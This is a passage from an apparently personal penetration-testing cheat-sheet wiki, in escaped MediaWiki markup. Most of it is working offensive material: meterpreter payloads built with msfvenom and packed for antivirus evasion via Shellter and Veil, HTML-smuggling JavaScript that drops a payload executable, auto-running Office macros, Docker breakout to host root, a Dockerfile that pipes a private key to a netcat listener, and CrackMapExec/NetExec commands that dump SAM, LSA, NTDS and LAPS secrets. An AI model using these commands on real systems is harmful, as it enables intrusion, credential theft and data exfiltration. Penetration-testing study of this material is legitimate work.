msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.4 LPORT=80 -e x86/shikata_ga_nai -i 7 -f raw &amp;gt; met.bin&lt;br /&gt;
# Start shellter&lt;br /&gt;
Choose Operation Mode - Auto/Manual (A/M/H): A&lt;br /&gt;
PE Target: /home/kali/poultry/whoami.exe&lt;br /&gt;
**********&lt;br /&gt;
* Backup *&lt;br /&gt;
**********&lt;br /&gt;
Backup: Shellter_Backups\whoami.exe&lt;br /&gt;
...&lt;br /&gt;
Filtering Time Approx: 0.0024 mins.&lt;br /&gt;
Enable Stealth Mode? (Y/N/H): N&lt;br /&gt;
************&lt;br /&gt;
* Payloads *&lt;br /&gt;
************&lt;br /&gt;
[1] Meterpreter_Reverse_TCP   [stager]&lt;br /&gt;
[2] Meterpreter_Reverse_HTTP  [stager]&lt;br /&gt;
[3] Meterpreter_Reverse_HTTPS [stager]&lt;br /&gt;
[4] Meterpreter_Bind_TCP      [stager]&lt;br /&gt;
[5] Shell_Reverse_TCP         [stager]&lt;br /&gt;
[6] Shell_Bind_TCP            [stager]&lt;br /&gt;
[7] WinExec&lt;br /&gt;
Use a listed payload or custom? (L/C/H): C&lt;br /&gt;
Select Payload: /home/kali/poultry/met.bin&lt;br /&gt;
Is this payload a reflective DLL loader? (Y/N/H): N&lt;br /&gt;
****************&lt;br /&gt;
* Payload Info *&lt;br /&gt;
****************&lt;br /&gt;
...&lt;br /&gt;
Injection: Verified!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Veil Framework ===&lt;br /&gt;
&lt;br /&gt;
Veil is a tool designed to generate metasploit payloads that bypass common anti-virus solutions. It replaces the package veil-evasion.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install&lt;br /&gt;
# https://github.com/Veil-Framework/Veil&lt;br /&gt;
apt -y install veil&lt;br /&gt;
/usr/share/veil/config/setup.sh --force --silent&lt;br /&gt;
# If error with (wine) python pip peefile version fix with this&lt;br /&gt;
vim /usr/share/veil/config/setup.sh&lt;br /&gt;
Change line 587 to:&lt;br /&gt;
sudo -u &amp;quot;${trueuser}&amp;quot; WINEPREFIX=&amp;quot;${winedir}&amp;quot; wine &amp;quot;${winedir}/drive_c/Python34/python.exe&amp;quot; &amp;quot;-m&amp;quot; &amp;quot;pip&amp;quot; &amp;quot;install&amp;quot; &amp;quot;-Iv&amp;quot; &amp;quot;pefile==2019.4.18&amp;quot;&lt;br /&gt;
Then, run # veil --setup again.&lt;br /&gt;
&lt;br /&gt;
# Start veil&lt;br /&gt;
veil&lt;br /&gt;
# or&lt;br /&gt;
/usr/share/veil/Veil.py&lt;br /&gt;
# Available Commands:&lt;br /&gt;
        exit                    Completely exit Veil&lt;br /&gt;
        info                    Information on a specific tool&lt;br /&gt;
        list                    List available tools&lt;br /&gt;
        options                 Show Veil configuration&lt;br /&gt;
        update                  Update Veil&lt;br /&gt;
        use                     Use a specific tool&lt;br /&gt;
&lt;br /&gt;
# Generate a powershell script (bat file) for evasion&lt;br /&gt;
veil &amp;gt; use evasion&lt;br /&gt;
# List payloads&lt;br /&gt;
veil &amp;gt; list&lt;br /&gt;
# Use powershell rev tcp payload&lt;br /&gt;
veil/evasion &amp;gt; use powershell/meterpreter/rev_tcp.py&lt;br /&gt;
# List options&lt;br /&gt;
[powershell/meterpreter/rev_tcp&amp;gt;&amp;gt;]: options&lt;br /&gt;
# Generate payload&lt;br /&gt;
[powershell/meterpreter/rev_tcp&amp;gt;&amp;gt;]: generate&lt;br /&gt;
&lt;br /&gt;
# From pic below, payload is in /var/lib/veil/output/source/ folder&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Ebowla ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/Genetic-Malware/Ebowla&lt;br /&gt;
# Use it to obfuscate payloads like JuicyPotato or other exploits.&lt;br /&gt;
# Quick demo&lt;br /&gt;
https://www.youtube.com/watch?v=rRm3O7w5GHg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== API ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/assetnote/kiterunner assetnote/kiterunner: Contextual Content Discovery Tool]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Need to have golang installed&lt;br /&gt;
apt-get install golang&lt;br /&gt;
# build the binary&lt;br /&gt;
make build&lt;br /&gt;
# symlink your binary&lt;br /&gt;
ln -s $(pwd)/dist/kr /usr/local/bin/kr&lt;br /&gt;
# compile the wordlist&lt;br /&gt;
# kr kb compile&lt;br /&gt;
kr kb compile routes.json routes.kite&lt;br /&gt;
# scan away&lt;br /&gt;
kr scan hosts.txt -w routes.kite -x 20 -j 100 --ignore-length=1053&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Buffer overflow ==&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=1932&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Browser exploits ==&lt;br /&gt;
&lt;br /&gt;
=== Firefox ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Extract passwords from profile&lt;br /&gt;
https://github.com/unode/firefox_decrypt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Client-Side Code Execution ==&lt;br /&gt;
&lt;br /&gt;
=== HTML Smuggeling ===&lt;br /&gt;
&lt;br /&gt;
HTML Smuggeling is when a victim clicks on a malicious link and JavaScript code inside the website will use HTML smuggeling to automatically save the dropper file. The technique uses the HTML5 anchor tag download attribute instructs the&lt;br /&gt;
browser to automatically download a file when a user clicks the assigned hyperlink.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the example below I will create a dropper file, and host a website which automatically downloads my dropper once the victim clicks on the link using the HTML code below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generate a staged payload using msfvenom.&lt;br /&gt;
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.126 LPORT=443 -f exe -o msfstaged.exe&lt;br /&gt;
# Saved it as base64 as to not lose any data.&lt;br /&gt;
base64 msfstaged.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		function base64ToArrayBuffer(base64) {&lt;br /&gt;
			var binary_string = window.atob(base64);&lt;br /&gt;
			var len = binary_string.length;&lt;br /&gt;
			var bytes = new Uint8Array( len );&lt;br /&gt;
			for (var i = 0; i&lt;br /&gt;
			var file =&amp;quot;TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAA...&amp;quot;&lt;br /&gt;
			var data = base64ToArrayBuffer(file);&lt;br /&gt;
			var blob = new Blob([data], {type: &#039;octet/stream&#039;});&lt;br /&gt;
			var fileName = &#039;msfstaged.exe&#039;;&lt;br /&gt;
&lt;br /&gt;
			var a = document.createElement(&#039;a&#039;);&lt;br /&gt;
			document.body.appendChild(a);&lt;br /&gt;
			a.style = &#039;display: none&#039;;&lt;br /&gt;
			var url = window.URL.createObjectURL(blob);&lt;br /&gt;
			a.href = url;&lt;br /&gt;
			a.download = fileName;&lt;br /&gt;
			a.click();&lt;br /&gt;
			window.URL.revokeObjectURL(url);&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-02-image.png|thumb|When the victim clicks a link in our phishing mail it will automatically download the dropper file onto the victim machine.]]&lt;br /&gt;
&lt;br /&gt;
=== Microsoft Office Macro Client-side Attack ===&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?page_id=1809#Microsoft_Word&lt;br /&gt;
&lt;br /&gt;
==== Visual Basic for Applications  [VBA] ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
&#039;VBA Datatype&lt;br /&gt;
&#039;Dim is used to declare variables&lt;br /&gt;
Dim myString As String # Unicode&lt;br /&gt;
Dim myLong As Long # 64-bit integer&lt;br /&gt;
Dim myPointer As LongPtr # Memory pointer&lt;br /&gt;
&#039;Example - if and else statement&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
Dim myLong As Long&lt;br /&gt;
myLong = 1&lt;br /&gt;
If myLong &amp;lt; 5 Then&lt;br /&gt;
   MsgBox (&amp;quot;True&amp;quot;)&lt;br /&gt;
Else&lt;br /&gt;
   MsgBox (&amp;quot;False&amp;quot;)&lt;br /&gt;
End If&lt;br /&gt;
End Sub&lt;br /&gt;
&lt;br /&gt;
&#039;Example - Launch cmd.exe with a hidden window&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
   Dim str As String&lt;br /&gt;
   str = &amp;quot;cmd.exe&amp;quot;&lt;br /&gt;
   Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
&#039;The picture below show the cmd.exe running as a child process of winword.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-02-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Certificate Types ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Extension&lt;br /&gt;
! Full Name&lt;br /&gt;
! Contains&lt;br /&gt;
! Format&lt;br /&gt;
! Common Use&lt;br /&gt;
! Use Case&lt;br /&gt;
! Real-World Example&lt;br /&gt;
|-&lt;br /&gt;
| .cer&lt;br /&gt;
| Certificate&lt;br /&gt;
| Public key&lt;br /&gt;
| Usually in DER or PEM&lt;br /&gt;
| Sharing or installing public keys&lt;br /&gt;
| Installing trusted root or intermediate certificates on a system or server to verify SSL/TLS certificates&lt;br /&gt;
| Adding a trusted certificate in Windows to access a secure corporate intranet site&lt;br /&gt;
|-&lt;br /&gt;
| .pem&lt;br /&gt;
| Privacy Enhanced Mail&lt;br /&gt;
| Certificates and/or private keys&lt;br /&gt;
| Base64 encoded text (PEM)&lt;br /&gt;
| SSL certificates and private keys, commonly used in web servers&lt;br /&gt;
| Configuring SSL/TLS for web servers like Apache or Nginx by providing both the certificate and private key&lt;br /&gt;
| Configuring SSL/TLS for an Nginx web server for your website by specifying .pem files for SSL security&lt;br /&gt;
|-&lt;br /&gt;
| .crt&lt;br /&gt;
| Certificate&lt;br /&gt;
| Public key&lt;br /&gt;
| Usually in PEM or DER&lt;br /&gt;
| Similar to .cer, used for certificates in web servers&lt;br /&gt;
| Installing SSL/TLS certificates on websites to secure connections (often paired with .key files)&lt;br /&gt;
| Installing an SSL/TLS certificate from Let&#039;s Encrypt (.crt) to secure your website and enable HTTPS&lt;br /&gt;
|-&lt;br /&gt;
| .pfx&lt;br /&gt;
| Personal Information Exchange&lt;br /&gt;
| Private key and certificate (often password-protected)&lt;br /&gt;
| Binary (PFX)&lt;br /&gt;
| Bundling a private key with a certificate, used for importing/exporting certificates&lt;br /&gt;
| Importing a certificate with a private key into Windows servers or applications, such as IIS or to share with others in a secure manner&lt;br /&gt;
| Importing a .pfx file into Microsoft IIS to enable secure HTTPS for a web server hosting an internal application or signing an executable file&lt;br /&gt;
|-&lt;br /&gt;
| .key&lt;br /&gt;
| Private Key File&lt;br /&gt;
| Private key&lt;br /&gt;
| Text (usually PEM)&lt;br /&gt;
| Storing private keys for SSL certificates, often paired with .crt files&lt;br /&gt;
| Configuring SSL/TLS for web servers like Apache or Nginx by providing the private key for the SSL certificate&lt;br /&gt;
| Using a .key file along with a .crt file to configure HTTPS for a website&lt;br /&gt;
|-&lt;br /&gt;
| .der&lt;br /&gt;
| Distinguished Encoding Rules&lt;br /&gt;
| Certificate or private key in binary&lt;br /&gt;
| Binary (DER)&lt;br /&gt;
| Storing certificates or private keys in binary format&lt;br /&gt;
| Used in environments where certificates or keys need to be in a compact, binary format&lt;br /&gt;
| Using a .der file to import a certificate in Windows or Java environments&lt;br /&gt;
|-&lt;br /&gt;
| .csr&lt;br /&gt;
| Certificate Signing Request&lt;br /&gt;
| Information about an entity requesting a certificate&lt;br /&gt;
| Text (usually PEM)&lt;br /&gt;
| Requesting an SSL/TLS certificate from a Certificate Authority (CA)&lt;br /&gt;
| Generating a .csr to request an SSL/TLS certificate from a CA like Let&#039;s Encrypt&lt;br /&gt;
| Creating a .csr file to obtain an SSL certificate for your website&lt;br /&gt;
|-&lt;br /&gt;
| .p7b or .p7c&lt;br /&gt;
| PKCS#7 Certificate File&lt;br /&gt;
| Certificates in chain (no private key)&lt;br /&gt;
| Base64 or Binary&lt;br /&gt;
| Sharing a certificate chain&lt;br /&gt;
| Importing a full certificate chain in environments like Java keystores&lt;br /&gt;
| Using a .p7b file to import a complete certificate chain into a Java KeyStore for a Tomcat server&lt;br /&gt;
|-&lt;br /&gt;
| .jks&lt;br /&gt;
| Java KeyStore&lt;br /&gt;
| Private keys and certificates&lt;br /&gt;
| Binary (JKS)&lt;br /&gt;
| Storing certificates and private keys in Java environments&lt;br /&gt;
| Storing certificates and keys for Java-based applications like Tomcat&lt;br /&gt;
| Using a .jks file to configure SSL/TLS in a Java application server like Tomcat&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Command and control - C2 framework ==&lt;br /&gt;
&lt;br /&gt;
=== Covenant ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/cobbr/Covenant&lt;br /&gt;
# Installation and running&lt;br /&gt;
git clone --recurse-submodules https://github.com/cobbr/Covenant&lt;br /&gt;
# Be sure to install the dotnet core version 3.1 SDK!&lt;br /&gt;
# Build and run convenant&lt;br /&gt;
$ ~ &amp;gt; git clone --recurse-submodules https://github.com/cobbr/Covenant&lt;br /&gt;
$ ~ &amp;gt; cd Covenant/Covenant&lt;br /&gt;
$ ~/Covenant/Covenant &amp;gt; dotnet run&lt;br /&gt;
warn: Microsoft.EntityFrameworkCore.Model.Validation[10400]&lt;br /&gt;
      Sensitive data logging is enabled. Log entries and exception messages may include sensitive application data, this mode should only be enabled during development.&lt;br /&gt;
WARNING: Running Covenant non-elevated. You may not have permission to start Listeners on low-numbered ports. Consider running Covenant elevated.&lt;br /&gt;
Covenant has started! Navigate to https://127.0.0.1:7443 in a browser&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell-empire (And starkiller) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/EmpireProject/Empire&lt;br /&gt;
# Installation and running&lt;br /&gt;
sudo ./setup/install.sh&lt;br /&gt;
# Or&lt;br /&gt;
sudo apt install powershell-empire&lt;br /&gt;
# Starkiller&lt;br /&gt;
# https://github.com/BC-SECURITY/Starkiller&lt;br /&gt;
# Starkiller is a Frontend for Powershell Empire.&lt;br /&gt;
# Change the permissions&lt;br /&gt;
chmod a+x starkiller-.AppImage&lt;br /&gt;
# Then execute&lt;br /&gt;
./starkiller-.AppImage --no-sandbox&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Log location&lt;br /&gt;
~/.msf4/logs/framework.log&lt;br /&gt;
# DBMS used is postgresql.&lt;br /&gt;
# If IOError, check logs. If Postgresql, check the postgresql logs at:&lt;br /&gt;
/var/log/postgresql/...&lt;br /&gt;
# Initialize db&lt;br /&gt;
msfdb init # only if needed&lt;br /&gt;
# Metasploit location&lt;br /&gt;
/opt/metasploit-framework/embedded/framework/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Compiling exploits ==&lt;br /&gt;
&lt;br /&gt;
=== Compile .asm to elf ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nasm -f elf64 thm.asm&lt;br /&gt;
ld thm.o -o thm&lt;br /&gt;
./thm&lt;br /&gt;
THM,Rocks!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .cpp to .exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
i686-w64-mingw32-g++ -o test.exe challenge-8.cpp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .cs to .exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Using csc&lt;br /&gt;
csc payload.cs&lt;br /&gt;
# Using mono - https://www.mono-project.com/&lt;br /&gt;
mcs payload.cs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .c to .exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
## Create 32-bit Windows executable with:&lt;br /&gt;
i686-w64-mingw32-gcc -o main32.exe main.c&lt;br /&gt;
## Create 64-bit Windows executable with:&lt;br /&gt;
x86_64-w64-mingw32-gcc -o main64.exe main.c&lt;br /&gt;
# Flags:&lt;br /&gt;
-lwsock32 and -lws2_32&lt;br /&gt;
# The -lwsock32 and -lws2_32 flags are linker flags used in programming to include the Winsock libraries for network programming on Windows. -lwsock32 includes the older version of the library, while -lws2_32 includes the updated version with additional features and improvements. These flags ensure that the necessary networking functions are available to the application during the linking stage of compilation.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .c in linux using --static ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# The -static option links a program statically, in other words it does not require a dependency on dynamic libraries at runtime in order to run.&lt;br /&gt;
gcc 45010.c -o exploit --static&lt;br /&gt;
&lt;br /&gt;
gcc 45010.c -o exploit -z execstack&lt;br /&gt;
# -z execstack: This option instructs the compiler to mark the resulting executable as having an executable stack. An executable stack means that the program can execute code stored on the stack, which can be a security risk if not handled carefully. This option is often used for specific purposes, like creating loader programs or certain types of shellcode.&lt;br /&gt;
&lt;br /&gt;
-------------------------------&lt;br /&gt;
# If the above dont work, try this&lt;br /&gt;
gcc -o sh.elf sh.c -z execstack -static&lt;br /&gt;
upx --best --lzma -o shupx.elf ./sh.elf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .c to 32-bit windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc exploit.c -m32 -o exploit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Docker - Privile Escalation ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation]&lt;br /&gt;
&lt;br /&gt;
=== Shell ===&lt;br /&gt;
&lt;br /&gt;
This will create a docker image, that you can run and get a shell with&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create a docker file&lt;br /&gt;
FROM alpine:latest&lt;br /&gt;
ENV WORKIDR /privesc&lt;br /&gt;
RUN mkdir -p $WORKDIR&lt;br /&gt;
VOLUME [ $WORKDIR]&lt;br /&gt;
WORKDIR $WORKDIR&lt;br /&gt;
# Build the docker container&lt;br /&gt;
docker build -t imagename .&lt;br /&gt;
# Now run the image with /bin/bash. -it means interactive and terminal&lt;br /&gt;
docker run -v /:/mountdir -it imagename /bin/bash&lt;br /&gt;
root@machine#&lt;br /&gt;
-----------------------------------------------&lt;br /&gt;
#List images to use one&lt;br /&gt;
docker images&lt;br /&gt;
#Run the image mounting the host disk and chroot on it&lt;br /&gt;
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash&lt;br /&gt;
# Get full access to the host via ns pid and nsenter cli&lt;br /&gt;
docker run -it --rm --pid=host --privileged ubuntu bash&lt;br /&gt;
nsenter --target 1 --mount --uts --ipc --net --pid -- bash&lt;br /&gt;
# Get full privs in container without --privileged&lt;br /&gt;
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Exfiltrate data ===&lt;br /&gt;
&lt;br /&gt;
See notes for Deployer&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find if there is an docker image running. Then create a dockerfile. This wil copy id_rsa.bak to tmp, and then send it to our netcat listener on port 80&lt;br /&gt;
shanah@deployer:/opt$ cat dockerfile&lt;br /&gt;
FROM alpine&lt;br /&gt;
COPY id_rsa.bak /tmp/id_rsa.bak&lt;br /&gt;
RUN cat /tmp/id_rsa.bak | nc 192.168.49.153 80&lt;br /&gt;
# After running the below command, look at your netcat listener.&lt;br /&gt;
shanah@deployer:/opt$ sudo /usr/bin/docker build -t imagename .&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Exec-Tools ==&lt;br /&gt;
&lt;br /&gt;
=== CrackMapExec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://wiki.porchetta.industries/&lt;br /&gt;
# READ MORE IN THE LINK ABOVE!!!!&lt;br /&gt;
# SMB commands&lt;br /&gt;
# Obtaining creds&lt;br /&gt;
# Require Domain Admin or Local Admin&lt;br /&gt;
# Dump SAM&lt;br /&gt;
crackmapexec smb 192.168.1.0/24 -u UserNAme -p &#039;PASSWORDHERE&#039; --sam&lt;br /&gt;
## Dump LSA&lt;br /&gt;
crackmapexec  smb 192.168.1.0/24 -u UserNAme -p &#039;PASSWORDHERE&#039; --lsa&lt;br /&gt;
## Dump NTDS.dit&lt;br /&gt;
cme smb 192.168.1.100 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds&lt;br /&gt;
cme smb 192.168.1.100 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds --users&lt;br /&gt;
cme smb 192.168.1.100 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds --users --enabled&lt;br /&gt;
cme smb 192.168.1.100 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds vss&lt;br /&gt;
## LPAS - If installed on the domain&lt;br /&gt;
crackmapexec smb  -u user-can-read-laps -p pass --laps&lt;br /&gt;
# LDAP&lt;br /&gt;
## Dump gMSA&lt;br /&gt;
crackmapexec ldap  -u  -p  --gmsa&lt;br /&gt;
## LAPS - If installed on the domain&lt;br /&gt;
crackmapexec ldap  -u user-can-read-laps -p pass -M laps&lt;br /&gt;
## Extract gMSA secrets&lt;br /&gt;
crackmapexec ldap  -u  -p  --gmsa-convert-id 313e25a880eb773502f03ad5021f49c2eb5b5be2a09f9883ae0d83308dbfa724&lt;br /&gt;
rackmapexec ldap  -u  -p  --gmsa-decrypt-lsa &#039;_SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_313e25a880eb773502f03ad5021f49c2eb5b5be2a09f9883ae0d83308dbfa724:01000000240200001000120114021c02fbb096d10991bb88c3f54e153807b4c1cc009d30bc3c50fd6f72c99a1e79f27bd0cbd4df69fdf08b5cf6fa7928cf6924cf55bfd8dd505b1da26ddf5695f5333dd07d08673029b01082e548e31f1ad16c67db0116c6ab0f8d2a0f6f36ff30b160b7c78502d5df93232f72d6397b44571d1939a2d18bb9c28a5a48266f52737c934669e038e22d3ba5a7ae63a608f3074c520201f372d740fddec77a8fed4ddfc5b63ce7c4643b60a8c4c739e0d0c7078dd0c2fcbc2849e561ea2de1af7a004b462b1ff62ab4d3db5945a6227a58ed24461a634b85f939eeed392cf3fe9359f28f3daa8cb74edb9eef7dd38f44ed99fa7df5d10ea1545994012850980a7b3becba0000d22d957218fb7297b216e2d7272a4901f65c93ee0dbc4891d4eba49dda5354b0f2c359f185e6bb943da9bcfbd2abda591299cf166c28cb36907d1ba1a8956004b5e872ef851810689cec9578baae261b45d29d99aef743f3d9dcfbc5f89172c9761c706ea3ef16f4b553db628010e627dd42e3717208da1a2902636d63dabf1526597d94307c6b70a5acaf4bb2a1bdab05e38eb2594018e3ffac0245fcdb6afc5a36a5f98f5910491e85669f45d02e230cb633a4e64368205ac6fc3b0ba62d516283623670b723f906c2b3d40027791ab2ae97a8c5c135aae85da54a970e77fb46087d0e2233d062dcd88f866c12160313f9e6884b510840e90f4c5ee5a032d40000f0650a4489170000f0073a9188170000&#039;&lt;br /&gt;
## List all PKI enrollment server&lt;br /&gt;
crackmapexec run ldap  -u user -p pass -M adcs&lt;br /&gt;
## Extract subnet&lt;br /&gt;
crackmapexec ldap  -u  -p  -M get-network&lt;br /&gt;
crackmapexec ldap  -u  -p  -M get-network -o ONLY_HOSTS=true&lt;br /&gt;
crackmapexec ldap  -u  -p  -M get-network -o ALL=true&lt;br /&gt;
# Username + Password + CMD command&lt;br /&gt;
crackmapexec mssql -d  -u  -p  -x &amp;quot;whoami&amp;quot;&lt;br /&gt;
# Username + Hash + PS command&lt;br /&gt;
crackmapexec mssql -d  -u  -H  -X &#039;$PSVersionTable&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== NetExec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/Pennyw0rth/NetExec&lt;br /&gt;
# This project was initially created in 2015 by @byt3bl33d3r, known as CrackMapExec. In 2019 @mpgn_x64 started maintaining the project for the next 4 years, adding a lot of great tools and features. In September 2023 he retired from maintaining the project.&lt;br /&gt;
# cheatsheet&lt;br /&gt;
https://www.netexec.wiki/&lt;br /&gt;
# General&lt;br /&gt;
netexec   -u username -p password&lt;br /&gt;
# Using modules&lt;br /&gt;
# List available modules&lt;br /&gt;
nxc smb -L&lt;br /&gt;
# View module options&lt;br /&gt;
nxc smb -M lsassy --options&lt;br /&gt;
# Using Kerberos&lt;br /&gt;
$ export KRB5CCNAME=/home/bonclay/impacket/administrator.ccache&lt;br /&gt;
$ nxc smb zoro.gold.local --use-kcache&lt;br /&gt;
$ export KRB5CCNAME=/home/bonclay/impacket/bonclay.ccache&lt;br /&gt;
$ sudo nxc smb zoro.gold.local --use-kcache -x whoami&lt;br /&gt;
# Send a local file to the remote target&lt;br /&gt;
nxc smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt&lt;br /&gt;
# Get a remote file on the remote target&lt;br /&gt;
nxc smb 172.16.251.152 -u user -p pass --get-file  \\Windows\\Temp\\whoami.txt /tmp/whoami.txt&lt;br /&gt;
# Read LAPS&lt;br /&gt;
nxc smb  -u user-can-read-laps -p pass --laps&lt;br /&gt;
# Impersonate logged on user&lt;br /&gt;
# 1. Enumerate logged-on users on your Target&lt;br /&gt;
nxc smb  -u  -p  --loggedon-users&lt;br /&gt;
# 2. Execute commands on behalf of other users&lt;br /&gt;
nxc smb  -u  -p  -M schtask_as -o USER= CMD=&lt;br /&gt;
# Find Domain SID&lt;br /&gt;
